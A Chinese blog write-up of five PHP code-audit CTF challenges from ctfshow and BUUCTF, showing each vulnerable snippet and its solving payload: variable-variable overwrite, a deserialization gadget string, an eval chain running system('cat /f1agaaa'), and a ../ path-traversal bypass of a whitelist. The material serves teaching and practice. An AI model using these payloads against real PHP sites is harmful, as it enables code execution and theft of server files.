web专题之php代审(二)

复制代码
这里的话将会延续上次的php代审主题,相关的题目依旧是来自ctfshow的菜狗杯(我是菜狗...)然后之后的各种类型也会慢慢更新。

1.这是来自ctfshow菜狗杯的一道题:无一幸免

代码如下:

php 复制代码
<?php  
include "flag.php";  
highlight_file(__FILE__);  
  
if (isset($_GET['0'])){  
    $arr[$_GET['0']]=1;  
    if ($arr[]=1){  
        die($flag);  
    }  
    else{  
        die("nonono!");  
    }  
}

这道题比较奇怪,url拼接中只要参数有0,直接就会弹出flag。仔细一看发现是if判断中的问题,这里的判断语句"$arr[]=1"是赋值语句,导致判断永真(稀里糊涂地就过了...)。

后来我看了其他大佬的题解,是使用了数组整数溢出来绕过的,也就是说if与else中的内容互换就对了。

payload:

ini 复制代码
?0=9223372036854775807

2.这是来自ctfshow菜狗杯的一道题:遍地飘零

代码如下:

php 复制代码
<?php  
include "flag.php";  
highlight_file(__FILE__);  
  
$zeros="000000000000000000000000000000";  
  
foreach($_GET as $key => $value){  
    $$key=$$value;  
}  
  
if ($flag=="000000000000000000000000000000"){  
    echo "好多零";  
}else{  
    echo "没有零,仔细看看输入有什么问题吧";  
    var_dump($_GET);  
}

这一题是比较经典的绕过题,重点是语句"var_dump($_GET)",该语句实现的是输出每一个get方式传入参数的键值对的内容以及类型。

foreach()函数中遍历每一个键值对,然后实现 <math xmlns="http://www.w3.org/1998/Math/MathML"> k e y = key= </math>key=value。这里有一个漏洞点,假如我们传入的参数是_GET,那么这里就变为 $_GET={...},之后的var_dump()函数是不是就能"等量代换"了?从而输出我们想要的内容?

于是payload

ini 复制代码
?_GET=flag

var_dump()函数就能打印出$flag的内容了

3.这是来自ctfshow菜狗杯的一道题:小舔田?

代码如下:

php 复制代码
<?php  
include "flag.php";  
highlight_file(__FILE__);  
  
class Moon{  
    public $name="月亮";  
    public function __toString(){  
        return $this->name;  
    }  
      
    public function __wakeup(){  
        echo "我是".$this->name."快来赏我";  
    }  
}  
  
class Ion_Fan_Princess{  
    public $nickname="牛夫人";  
  
    public function call(){  
        global $flag;  
        if ($this->nickname=="小甜甜"){  
            echo $flag;  
        }else{  
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";  
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";  
        }  
    }  
      
    public function __toString(){  
        $this->call();  
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;  
    }  
}  
  
if (isset($_GET['code'])){  
    unserialize($_GET['code']);  
  
}else{  
    $a=new Ion_Fan_Princess();  
    echo $a;  
}

这是一道反序列化的题目,需要进行构造作为code参数传入。

我们分析一下,只有在nickname="小甜甜"以及call()函数被调用的时候,才能输出flag。但是call()函数的调用首先需要的是魔术方法__toString()的调用,在该类中无调用__toString的途径。

后面上网查了一下,当对象处于 "需要被转换为字符串" 的场景时,__toString() 会被自动调用,并返回一个字符串。我们发现Moon类中的__wakeup()函数中存在"$this->name",这里可以利用一下。

序列化代码:

php 复制代码
<?php
class Moon{
    public $name;
}

class Ion_Fan_Princess{
    public $nickname;
}

$a = new Moon();
$a->name = new Ion_Fan_Princess();
$a->name->nickname = '小甜甜';
echo serialize($a);
?>

我们将new出来的Ion_Fan_Princess类赋值给 $a的name变量,使其满足Ion_Fan_Princess类中__toString()函数的自动调用条件(),再使得nickname为"小甜甜"即可

序列化:

css 复制代码
O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}

最终得到flag

4.这是来自ctfshow菜狗杯的一道题:web签到

php 复制代码
<?php  
  
/*  
# -*- coding: utf-8 -*-  
# @Author: h1xa  
# @Date:   2022-11-10 17:20:38  
# @Last Modified by:   h1xa  
# @Last Modified time: 2022-11-11 09:38:59  
# @email: h1xa@ctfer.com  
# @link: https://ctfer.com  
  
*/  
  
  
error_reporting(0);  
highlight_file(__FILE__);  
  
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

乍一看比较复杂,我们需要由里到外逐层分析

第一层,传入的是cookie值,我们令'CTFshow-QQ群:'=a,那么第二层:$_POST[a]

第二层,这里需要的是POST方法传参,我们令a=b,那么第三层:$_GET[b]

第三层,同理,GET方法传参,我们令b=c,那么第四层:$_REQUESST[c]

实际上这里的c是作为数组传入,后面是具体下标,我们可以在此拼接命令,例如c[6][0][7][5][8][0][9][4][4]=system('ls /'); 来查看根目录下的文件。

我们在bp中改包,记得需要将'CTFshow-QQ群:'进行url编码,然后记得改为POST上传,查看到的内容如下:

arduino 复制代码
bin dev etc f1agaaa home lib media mnt proc root run sbin srv sys tmp usr var

改为system('cat /f1agaaa');即可查看到flag内容。

5.这是来自BUUCTF的一道题:## [HCTF 2018]WarmUp

F12,查看源码,发现有source.php,访问之后,代码如下

php 复制代码
<?php  
    highlight_file(__FILE__);  
    class emmm  
    {  
        public static function checkFile(&$page)  
        {  
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];  
            if (! isset($page) || !is_string($page)) {  
                echo "you can't see it";  
                return false;  
            }  
  
            if (in_array($page, $whitelist)) {  
                return true;  
            }  
  
            $_page = mb_substr(  
                $page,  
                0,  
                mb_strpos($page . '?', '?')  
            );  
            if (in_array($_page, $whitelist)) {  
                return true;  
            }  
  
            $_page = urldecode($page);  
            $_page = mb_substr(  
                $_page,  
                0,  
                mb_strpos($_page . '?', '?')  
            );  
            if (in_array($_page, $whitelist)) {  
                return true;  
            }  
            echo "you can't see it";  
            return false;  
        }  
    }  
  
    if (! empty($_REQUEST['file'])  
        && is_string($_REQUEST['file'])  
        && emmm::checkFile($_REQUEST['file'])  
    ) {  
        include $_REQUEST['file'];  
        exit;  
    } else {  
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";  
    }    
?>

发现有一个hint.php,我们访问一下,发现给了flag文件名。

接着进行代码审计

主要函数有mb_substr( <math xmlns="http://www.w3.org/1998/Math/MathML"> s t r i n g , string, </math>string,start,$length), 实现截取一定条件下的子串,第一个参数是原字符串,第二个参数是截取开始的下标,第三个参数是截取的长度。

以及mb_strpos( <math xmlns="http://www.w3.org/1998/Math/MathML"> s t r i n g , string, </math>string,a) ,实现的是返回字符串中特定字符第一次出现的下标,第一个参数是原字符串,第二个参数是特定字符。

需要传入的参数要满足是string字符串,以及能够过emm类中的白名单限制。

我们传递的参数需要有hint.php,或者source.php。

php 复制代码
$_page = mb_substr(  
                $page,  
                0,  
                mb_strpos($page . '?', '?')  
            );  
            if (in_array($_page, $whitelist)) {  
                return true;  
            }  

这段代码表示了只需要参数值中第一个?之前的值,所以只需要hint.php?...,后面拼接flag文件名即可成功绕过。

接着还是类似的代码,第二次绕过,仔细看发现这里是同理的。

php 复制代码
            $_page = urldecode($page);  
            $_page = mb_substr(  
                $_page,  
                0,  
                mb_strpos($_page . '?', '?')  
            );  
            if (in_array($_page, $whitelist)) {  
                return true;  
            } 

结合大佬的题解,一般source.php一般是在html目录下,往上是www,var,然后到根目录,flag一般就放在根目录下面,所以需要至少四层,我们可以返回到根目录下。

payload

ini 复制代码
?file=hint.php?/../../../../ffffllllaaaagggg

最后是可以得到flag。

相关推荐
BingoGo1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
QQ5110082855 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php
WeiXin_DZbishe5 天前
基于django在线音乐数据采集的设计与实现-计算机毕设 附源码 22647
javascript·spring boot·mysql·django·node.js·php·html5